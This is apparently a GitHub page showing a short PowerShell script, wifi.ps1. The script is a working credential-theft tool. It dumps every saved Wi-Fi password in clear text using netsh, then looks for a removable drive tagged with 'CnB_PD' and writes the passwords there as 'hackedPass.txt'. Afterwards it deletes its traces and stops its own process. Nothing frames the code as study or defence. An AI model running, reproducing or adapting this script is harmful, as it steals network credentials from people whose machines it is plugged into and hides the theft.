-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathwifi.ps1
38 lines (36 loc) · 875 Bytes
/
wifi.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
cd $env:TEMP
if(test-path -path .\wlist.txt -PathType Leaf)
{remove-item .\wlist.txt}
foreach ($p in netsh wlan show profiles)
{
$l=$p.length
try{
if($p.substring(4,16) -eq "All User Profile")
{
echo $p.substring(27)>>wlist.txt
}
}
catch{
"Invalied String"
}
}
foreach($wifi in get-content .\wlist.txt)
{
netsh wlan show profiles name="$wifi" key=clear >> wifipass.txt
}
$pd = @('d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z')
foreach($dl in $pd)
{
if(test-path -path $dl":\identity.txt" -PathType Leaf)
{$con = get-content $dl":\identity.txt"
if("CnB_PD" -eq $con)
{
echo "Found Destination"
#copy-item .\wifipass.txt -Destination $dl":\hackedPass.txt"
Get-Content .\wifipass.txt >> $dl":\hackedPass.txt"
remove-item .\wifipass.txt
break
}}
}
remove-item wlist.txt
stop-process -Id $PID